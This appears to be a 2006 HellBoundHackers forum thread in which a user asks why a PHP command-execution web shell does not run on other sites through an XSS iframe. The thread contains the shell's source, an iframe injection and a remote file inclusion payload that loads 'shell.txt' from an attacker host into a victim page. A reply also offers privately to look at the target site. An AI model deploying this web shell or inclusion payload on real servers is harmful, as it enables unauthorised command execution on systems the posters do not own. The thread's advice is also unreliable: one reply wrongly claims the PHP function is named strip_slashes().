Follow us on Twitter!
Become the change you seek in the world. - Gandhi
Thursday, April 17, 2014
Navigation
Home
HellBoundHackers Main:
HellBoundHackers Find:
HellBoundHackers Information:
Learn
Communicate
Submit
Shop
Challenges
HellBoundHackers Exploit:
HellBoundHackers Programming:
HellBoundHackers Think:
HellBoundHackers Track:
HellBoundHackers Patch:
HellBoundHackers Other:
HellBoundHackers Need Help?
Other
Members Online
Total Online: 17
Guests Online: 17
Members Online: 0

Registered Members: 82813
Newest Member: VesuviusSentinel
Latest Articles
View Thread

HellBound Hackers | Computer General | Web hacking

Author

another bloody scripting problem!!


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 11-05-06 00:06
this time I have made the following page:

Code

<?php
$cmd=stripslashes($_GET["cmd"]);
system($cmd);
?>





to get the contents of the directory it is in I would put http://www.mysite.com/page.php?cmd=ls
this would work fine as expected... (to go to the root directory I would type:http://www.mysite.com/page.php?cmd=ls+../../../)
also as expected.
this works fine to navigate my server, the problem comes when using it in conjunction with XSS, it should load the code on the target vulnreble page!, however everytime I have tryed it I only get the contents of My server...

I have tryed using iframes, img src=, embed etc. yet no luck

Any help would be great


Author

RE: another bloody scripting problem!!


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 11-05-06 16:21
boost, cos this is bloody annoying me. google knows nothing!


Author

RE: another bloody scripting problem!!

bl4ckc4t
Member

Your avatar

Posts: 591
Location: /etc/
Joined: 07.03.06
Rank:
Wiseman
Posted on 11-05-06 16:33
Sounds like no one knows what your talking about or doesnt know how its done.


Author

RE: another bloody scripting problem!!


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 11-05-06 16:48
basicly I have found xss voulnerable pages and when I try to enter:

<iframe src= "http://www.mysite.org/cmd.php?cmd=ls+"></iframe>

in target site I should get the contents of their directory, but insted I get the conte4nts of MY directory?!?

I have also tryed other ways with little success


Author

RE: another bloody scripting problem!!

AldarHawk
Member



Posts: 1690
Location: Canada
Joined: 26.01.06
Rank:
Hacker Level 1
Posted on 11-05-06 16:55
it is strip_slashes() NOT stripslashes()


Just ask Yahoo!Taboo! http://www.erikwestlake.com
Author

RE: another bloody scripting problem!!


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 11-05-06 16:57
oh yeah...dugh...lol

n e way it works with stripslashes instead of strip_slashes... but not remotly, if that makes any sence!


Author

RE: another bloody scripting problem!!


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 11-05-06 17:00
Because an IFRAME is just like opening another browser window. The website your on doesnt parse the information on the page it just directs you to it. If, on the other hand, the page is like this:
<?
include($_GET['page']);
?>
Then simply upload your php code into a text file and include it like:

http://www.victim.com/?page=http://www.evil.com/shell.txt

Hope this helps. Maybe you can pm me with the site and ill take a look for you.




Edited by on 11-05-06 17:01